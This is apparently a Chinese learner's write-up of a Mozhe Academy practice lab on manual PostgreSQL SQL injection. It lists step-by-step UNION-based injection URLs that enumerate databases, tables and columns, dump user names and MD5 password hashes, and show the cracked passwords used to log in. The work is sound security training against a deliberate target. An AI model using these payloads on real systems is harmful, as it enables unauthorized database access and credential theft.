SQL手工注入漏洞测试(PostgreSQL数据库)-墨者


---------靶场专栏---------


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

墨者学院

简介:

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+PostgreSQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;

2.了解手工注入的方法;

3.了解PostgreSQL的数据结构;

4.了解字符串的MD5加解密;

解题方向:

手工进行SQL注入测试,获取管理密码登录。


解题思路:

postgreSQL和mysql语法和数据库结构上有区别,但整体思路区别不大。

还是熟悉的管理系统登陆界面,还是熟悉的平台停机维护通知。


解题步骤:

一、验证注入点

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=1

页面显示正常

报错一下看看

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2

ok,那注入点就是在这里了。


二、order by猜列

确定了,四个字段。


三、测试回显

用select语句测一下回显。跟mysql有些不一样,postgreSQL是用null来测试回显点的。

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,null,null

依次给每个null加上单引号。

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,'null','null',null

第二个和第三个位置有回显,接下来进行注入。


四、数据库信息获取

version()数据库版本

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,version(),null

PostgreSQL 9.5.13 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609, 64-bit

current_user数据库用户

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_user,null

postgres

current_database()数据库名

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_database(),null

mozhedvcms


五、查数据

①查数据库名

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database

template1,template0,postgres,mozhedvcms

②查表名

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables

notice,reg_users

③查列名

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

id,name,password,status

④查数据

复制代码
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

六、MD5解密登陆

(1)mozhe1,085631f437f337ecbb741d2d9bb73b7d(544041)

(2)mozhe2,1c63129ae9db9c60c3e8aa94d3e00495(1qaz2wsx)

mozhe1成功登陆,KEY:mozhe2cf8a74af7074d9688e835190f9


总结:

难度:★★☆☆☆☆☆☆☆☆

分析:

很难评价,直接就把不熟练写在了脸上了,而且原理还是很模糊。


相关推荐
洲覆14 分钟前
go-mysql-transfer 伪装从库实现 MySQL 到 Redis 数据同步(完整配置)
数据库·redis·mysql·golang
谅望者25 分钟前
SQL 自连接详解:当数据表需要与自己对话(组织层级实战)
数据库·sql·mysql·oracle·database
姚远Oracle ACE38 分钟前
解读 “SQL ordered by Physical Reads (UnOptimized)“
数据库·sql·oracle
山峰哥40 分钟前
KingbaseES 表空间与模式优化策略深度研究报告
开发语言·数据结构·数据库·oracle·深度优先
九转苍翎1 小时前
深入解析MySQL(6)——存储过程、游标与触发器
数据库·mysql
武子康1 小时前
Java-164 MongoDB 认证与权限实战:单实例与分片集群 整体认证配置实战 最小化授权/错误速查/回滚剧本
java·数据库·分布式·mongodb·性能优化·系统架构·nosql
金仓拾光集1 小时前
《MongoDB 重建索引要锁库?金仓却能边跑边修》
数据库·mongodb·kingbase·kingbasees·数据库平替用金仓·金仓数据库
金仓拾光集1 小时前
金仓数据库平替MongoDB:医共体数据互通的高效安全之道
数据库·安全·mongodb·kingbase·kingbasees·数据库平替用金仓·金仓数据库
南棱笑笑生1 小时前
20251031在Ubuntu24.04.2中文版下使用diff命令查找两份SDK的差异并删除同样的部分以便比对awk
数据库·sqlserver
知花实央l1 小时前
【Web应用安全】SQLmap实战DVWA SQL注入(从环境搭建到爆库,完整步骤+命令解读)
前端·经验分享·sql·学习·安全·1024程序员节